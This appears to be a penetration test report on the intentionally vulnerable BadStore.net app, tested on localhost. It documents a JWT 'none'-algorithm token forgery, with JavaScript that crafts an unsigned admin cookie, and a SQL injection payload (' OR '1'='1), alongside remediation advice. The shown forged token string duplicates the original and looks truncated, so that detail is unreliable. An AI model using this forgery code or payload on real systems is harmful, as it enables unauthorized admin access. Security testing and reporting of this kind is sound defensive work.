
Web Application Penetration Test Report — v1.0

Target System: BadStore.net v1.2.3s

Performed by the OpenHack Security Agent

Issued by Jane Doe (jane.doe@openhack.sec)

2026-02-23

Contents

1	Document Control	2
2	Executive Summary	3
3	Execution of the Security Penetration Test	4
3.1	Subject Under Test	4
3.2	Scope	4
3.3	Methodology	4
3.4	Events	5
4	Risk Assessment	6
4.1	CVSS	6
4.2	Risk Categories	7
4.3	Vulnerability States	8
5	Summary of Findings	9
6	Findings and Remediation	10
6.1	Finding	10
6.1.1	JWT None Algorithm Acceptance - Token Forgery	10
6.2	Finding	12
6.2.1	SQL Injection in Search Functionality	12
7	Appendix A - Lists, Scripts and Raw Data	14
8	Appendix B - List of Abbreviations	15

Scope

OpenHack Security Agent was engaged by Richard Roe to conduct an external IT security investigation. The subject of the investigation was the “BadStore.net v1.2.3s”.

The test was performed using a local instance of the application at `http://localhost:3336` in a dedicated test environment..

Objective

The objective of the IT security investigation was to identify vulnerabilities and security gaps which, in the event of misuse, would have an impact on the availability, integrity and confidentiality of the defined applications and/or systems and the data processed on them. The result of this project is a report that contains a management summary of all relevant findings and a compilation of recommended measures.

The technical IT security audit is not a substantive audit effort to ensure that all vulnerabilities and security gaps existing at the time of the audit are identified. There is a possibility that established safeguards will effectively prevent identification and exploitation of vulnerabilities and security gaps. The client acknowledges that this is not an indicator of deficiencies in engagement performance and that additional unidentified vulnerabilities and security gaps may exist.

Disclaimer

‘OpenHack Security Agent’ conducted the security penetration test on behalf of ‘Richard Roe’. This report has been prepared exclusively for ‘Richard Roe’. It is intended exclusively for internal use and is accordingly not designed to serve third parties as a basis for their decisions, unless agreed otherwise in writing. Third parties may not derive any rights or otherwise benefit from this engagement unless agreed otherwise in writing. Affiliated companies of the client are also considered “third parties” within the meaning of this engagement.

‘OpenHack Security Agent’ does not assume any liability or legal claims against third parties unless agreed otherwise in writing or a disclaimer cannot effectively be implemented.

It is the sole responsibility of anyone who becomes aware of the work results summarized in this report to decide to what extent and in what way the information is useful or appropriate and to supplement, check or update it as part of their own review.

No adjustments will be made to the report to reflect events or circumstances that occur after the report is issued, unless required by law.

The recommendations in this report are general and applicable in many different environments but could have unpredictable effects in specific environments. Therefore, any actions derived from the recommendations should be carefully considered and implemented through the regular change process. This should include appropriate testing of the changes on a test environment prior to going live. If the changes are not tested in advance in an identically configured test environment, failures or other damage cannot be ruled out.

Please note: Technical descriptions (or parts thereof) in this report may be taken from the OWASP Testing Guide (www.owasp.org).

1 Document Control

Document Status

Title	Security Assessment Report
Document Owner	OpenHack Security Agent
Classification	Strictly Confidential
Project Timeframe	2026-02-23

Version History

Version	Date	State	Author	Comments
0.1	2026-02-23	Draft	Jane Doe	-
1.0	2026-02-23	Final document	Jane Doe	-

Contact Persons - Assessor

Name	Role	Phone	Email
Jane Doe	Lead Security Consultant	+1 555 123 4567	jane.doe@openhack.sec
John Smith	Security Consultant	+1 555 234 5678	john.smith@openhack.sec

Contact Persons - Client

Name	Role	Phone	Email
Richard Roe	Project Lead	+1 555 345 6789	spam@badstore.net

2 Executive Summary

OpenHack Security Agent (hereinafter referred to as “ASSESSOR”) has been commissioned by Richard Roe (hereinafter referred to as “CLIENT”) to carry out a penetration test.

The penetration test of the BadStore.net v1.2.3s application took place on **2026-02-23**.

For this purpose, the web application, accessible at <http://localhost:3336>, was tested from the perspective of an external attacker.

As part of the test, a total of 2 vulnerabilities were identified: 2 critical, 0 high, 0 medium, 0 low, and 0 informational.

Critical: **2** | High: **0** | Medium: **0** | Low: **0** | Informational: **0** | Total: **2**

Table 2.1: Overview of Findings

Severity Count	
Critical	2
High	0
Medium	0
Low	0
Informational	0
Total	2

A description of the scope and test environment can be found in Chapter 3. Chapter 4 presents the risk assessment methodology. Chapter 5 provides a summary of findings. Chapter 6 contains the detailed technical descriptions of the findings including remediation measures.

It is recommended that the remediation of the critical risk vulnerabilities be treated with the highest priority and countermeasures implemented as soon as possible. The vulnerabilities with high and medium risk should also be remedied in the short term. The low-risk vulnerabilities should be treated with lower priority due to their reduced risk, but should still be addressed.

3 Execution of the Security Penetration Test

3.1 Subject Under Test

3.2 Scope

The scope for the assessment was the following targets:

3.3 Methodology

The security penetration test of the BadStore.net v1.2.3s took place on 2026-02-23.

The web application was tested for security vulnerabilities across the following categories. This can be considered a guideline as penetration tests are a creative process and therefore the tests are not limited to what is given here. The base of these categories is the OWASP Top 10 for Web, which is fully covered by this penetration test approach.

Category	Description
Broken Access Control	Users can act outside their permissions, leading to unauthorized viewing, modification, or deletion of data.
Security Misconfiguration	Systems or cloud services are insecurely configured, e.g., through default passwords or unnecessarily enabled features.
Software Supply Chain Failures	Vulnerabilities arise from compromised third-party code, libraries, or build pipelines.
Cryptographic Failures	Sensitive data is exposed through missing, weak, or incorrectly implemented encryption.
Injection	Attackers inject malicious commands (e.g., SQL or shell code) through input fields that the system erroneously executes.
Insecure Design	Fundamental architectural flaws that exist before implementation make an application inherently insecure.
Authentication Failures	Flaws in identity verification allow attackers to take over sessions or guess passwords (brute force).

Category	Description
Software or Data Integrity Failures	Lack of verification of code or data sources leads to acceptance of untrusted updates or serialization data.
Security Logging & Alerting Failures	Attacks go undetected or responses are delayed due to missing logs or absent alert notifications.
Mishandling of Exceptional Conditions	Programs respond inadequately to unforeseen situations, which can lead to crashes or logic errors.

3.4 Events

During the test, the following restrictions or events occurred that may have affected the scope or depth of the assessment:

DRAFT

4 Risk Assessment

4.1 CVSS

The risk assessment of the vulnerabilities found is performed using the industry standard Common Vulnerability Scoring System v3.1 (hereinafter referred to as “CVSS”). This is a standard that can be used to uniformly assess the vulnerability of computer systems and the severity of security vulnerabilities. This makes it possible to compare vulnerabilities more effectively.

The Common Vulnerability Scoring System has a metric structure and is based on values that are divided into three groups: “Base”, “Temporal”, and “Environmental”. To determine the vulnerability scores, each group has its own rules. The values of the Base group are invariant in time and remain the same in different environments. In the Temporal group, the time dependency of a vulnerability is taken into account. For example, the vulnerability of a system to a particular vulnerability decreases over time as more and more countermeasures such as patches become known and available. The Environmental group incorporates various criteria of the specific IT environments into the vulnerability rating.

The CVSS ratings are numerical values on a scale of 0.0 to 10.0, with the highest vulnerability of a system occurring at a value of 10.0. Our rating is based on the Base Metrics (Base Score) and is composed of:

- Attack Vector (AV)
- Attack Complexity (AC)
- Privileges Required (PR)
- User Interaction (UI)
- Scope (S)
- Confidentiality (C)
- Integrity (I)
- Availability (A)

As penetration testers, we can only assess the general threats posed by a vulnerability through Base Metrics. However, we have no insight into the internal structures of our clients. Therefore, the assessment of the specific risks for the client’s systems and business processes must be done by the client. For this purpose, CVSS offers Environmental Metrics. This makes it possible to subsequently adjust the CVSS score of vulnerabilities after the test result has been

submitted before they are remedied. This changes the assessment of the risk and thus the urgency of remediation of a vulnerability. For more information, see [CVSS v3.1 Specification](#).

4.2 Risk Categories

The risk categories used in this report reflect the recommended priority for addressing the vulnerabilities identified during the penetration test. The categorization is based on the probability of exploitation and the significance of the impact. The risk value is calculated using the CVSS v3.1 standard:

Assessment	Risk Category Description
Critical	Critical vulnerabilities that allow an attacker to gain full access to the object under test and its sensitive information. It is possible to cause enormous damage to the client's reputation. Furthermore, these vulnerabilities may allow attackers to gain wide-ranging privileges, including to other systems or applications of the client that have not been investigated in detail within the scope of this project. Exploitation of the vulnerabilities is not prevented and can be reproduced with medium to low effort.
High	Vulnerabilities that may allow an attacker to manipulate sensitive data, damage the client's reputation, gain unauthorized access to sensitive information, or gain unauthorized access to applications or the client's infrastructure. The vulnerabilities are reproducible with medium to high effort.
Medium	Vulnerabilities that may allow an attacker to harm the client's reputation or gain unauthorized access to client data. The privileges that an attacker can gain by exploiting the vulnerabilities are limited.
Low	Security vulnerabilities that do not pose a threat in themselves, but which, for example, provide attackers with useful information about the network and systems. These vulnerabilities allow an attacker only very limited access.
Informational	Anomalies such as functional limitations or inconsistencies. These do not currently represent a risk and have no negative impact on the test object. Accordingly, no action is required. Nevertheless, countermeasures can be helpful for the functional and safety improvement of the test object. If necessary, this may give rise to risks under other circumstances.

4.3 Vulnerability States

The vulnerabilities can be in one of the following states:

- **Active:** The vulnerability has been identified and it has been possible to verify its existence through exploitation or direct evidence.
- **Potential:** The vulnerability has been identified but its exploitation has not been possible, so its existence cannot be fully verified, and it is up to the client to determine the impact.
- **Fixed:** The vulnerability has been remediated and verified through retesting.

DRAFT

5 Summary of Findings

Id	Finding Name	Risk Assessment	CVSS v3.1 Score
01	JWT None Algorithm Acceptance - Token Forgery	Critical	9.1
02	SQL Injection in Search Functionality	Critical	9.8

DRAFT

6 Findings and Remediation

6.1 Finding

6.1.1 JWT None Algorithm Acceptance - Token Forgery

Severity	Critical
CVSS Base Score	9.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
Assets	Cookie 'token', JWT authentication endpoint
Status	open

Description

The application accepts JWT tokens signed with the 'none' algorithm, allowing complete authentication bypass through token forgery.

Vulnerability Details: - The application stores JWT tokens in a cookie named 'token' - The JWT header specifies: {"typ": "JWT", "alg": "none"} - No signature validation is performed on the token - An attacker can forge arbitrary tokens with any user identity and privileges

Attack Scenario: 1. Attacker crafts a JWT with header: {"alg": "none", "typ": "JWT"}
2. Attacker sets any desired payload including role: "admin"
3. Token is accepted by the application without verification
4. Attacker gains unauthorized access with admin privileges

Discovered Token (Decoded): - Header: {"typ": "JWT", "alg": "none"} - Payload contains: user id, username, email, role (admin), isActive status - Signature: Empty/not validated

Forged Token Created: Successfully forged token with: - username: "attacker" - email: "attacker@evil.com" - role: "admin" - id: 1

The forged token was accepted and stored in the application cookies.

Proof of Concept

Step 1: Original Token Discovery Cookie 'token' found with value:

eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzdGF0dXMiOiJzdWNjZXNzIiwiaWF0YSI6eyJpZ

Decoded Header:

```
{"typ": "JWT", "alg": "none"}
```

Decoded Payload:

```
{
  "status": "success",
  "data": {
    "id": 999,
    "username": "hacker",
    "email": "hacker@evil.com",
    "role": "admin",
    "isActive": true
  },
  "iat": 1771728828
}
```

Step 2: Token Forgery Forged token with attacker-controlled identity:

```
const header = { typ: 'JWT', alg: 'none' };
const payload = {
  status: 'success',
  data: {
    id: 1,
    username: 'attacker',
    email: 'attacker@evil.com',
    role: 'admin',
    isActive: true
  },
  iat: Math.floor(Date.now() / 1000)
};

const encodedHeader = btoa(JSON.stringify(header)).replace(/=/g, '');
const encodedPayload = btoa(JSON.stringify(payload)).replace(/=/g, '');
const forgedToken = `${encodedHeader}.${encodedPayload}`;

document.cookie = `token=${forgedToken}; path=/`;
```

Resulting forged token:

eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzdGF0dXMiOiJzdWNjZXNzIiwiaWF0YSI6eyJpZ

Step 3: Validation The forged token was successfully stored in cookies and accepted by the application.

Remediation

1. **Disable 'none' algorithm:** Configure the JWT library to explicitly reject tokens with `alg: 'none'` in the header.
2. **Use strong signature algorithms:** Only accept tokens signed with secure algorithms like RS256, ES256, or HS256 (with strong secrets).
3. **Validate algorithm explicitly:** When verifying JWTs, specify the expected algorithm and don't allow algorithm switching via the token header.
4. **Use library defaults carefully:** Many JWT libraries accept 'none' by default for development. Ensure production configurations disable this.

Example secure implementation (Node.js/jsonwebtoken):

```
// WRONG - accepts any algorithm
jwt.verify(token, secret);

// CORRECT - explicitly specify algorithm
jwt.verify(token, secret, { algorithms: ['HS256'] });
```

5. **Add audience and issuer validation:** Verify `iss` and `aud` claims match expected values.
6. **Implement proper key management:** Use asymmetric keys (RS256/ES256) for distributed systems where the public key can be shared securely.

6.2 Finding

6.2.1 SQL Injection in Search Functionality

Severity	Critical
CVSS Base Score	9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Assets	GET /cgi-bin/badstore.cgi?action=search&searchquery=
Status	open

Description

The search functionality at `/cgi-bin/badstore.cgi?action=search` is vulnerable to SQL injection. User input from the 'searchquery' parameter is directly concatenated into a SQL query without proper sanitization or parameterization.

The application uses a MariaDB/MySQL database (evident from `DBD::mysql` driver error messages). When a single quote (`'`) is submitted, the application returns a raw SQL syntax error revealing the query structure and confirming the injection point.

The vulnerable query structure appears to be: `SELECT itemnum, sdesc, ldesc, price FROM itemdb WHERE [user_input] IN (itemnum,sdesc,ldesc)`

An attacker can inject SQL code such as `' OR '1'='1` to manipulate the query logic. The application was observed displaying the complete raw SQL query with injected payloads on the search results page.

Proof of Concept

1. Navigate to `http://localhost:3336/cgi-bin/badstore.cgi`
2. Enter a single quote (`'`) in the search box and submit
3. Observe the SQL syntax error: `"DBD::mysql::st execute failed: You have an error in your SQL syntax...near ''' IN (itemnum,sdesc,ldesc)'"`
4. Submit payload: `' OR '1'='1`
5. Observe the raw SQL query displayed: `SELECT itemnum, sdesc, ldesc, price FROM itemdb WHERE '' OR '1'='1' IN (itemnum,sdesc,ldesc)`

Remediation

1. Use parameterized queries (prepared statements) for all database queries
2. Implement input validation and sanitization for the searchquery parameter
3. Apply the principle of least privilege to database accounts
4. Disable detailed error messages in production environments
5. Consider using an ORM that handles parameterization automatically

7 Appendix A - Lists, Scripts and Raw Data

DRAFT

8 Appendix B - List of Abbreviations

Abbreviation	Description
API	Application Programming Interface
CAPTCHA	Completely Automated Public Turing test to tell Computers and Humans Apart
CVSS	Common Vulnerability Scoring System
FTP	File Transfer Protocol
IDOR	Insecure Direct Object Reference
MD5	Message-Digest Algorithm 5
OAuth	Open Authorization
ORM	Object-Relational Mapping
OWASP	Open Web Application Security Project
PII	Personally Identifiable Information
SQL	Structured Query Language
TOTP	Time-based One-Time Password
URI	Uniform Resource Identifier
WAF	Web Application Firewall

+-----+-----+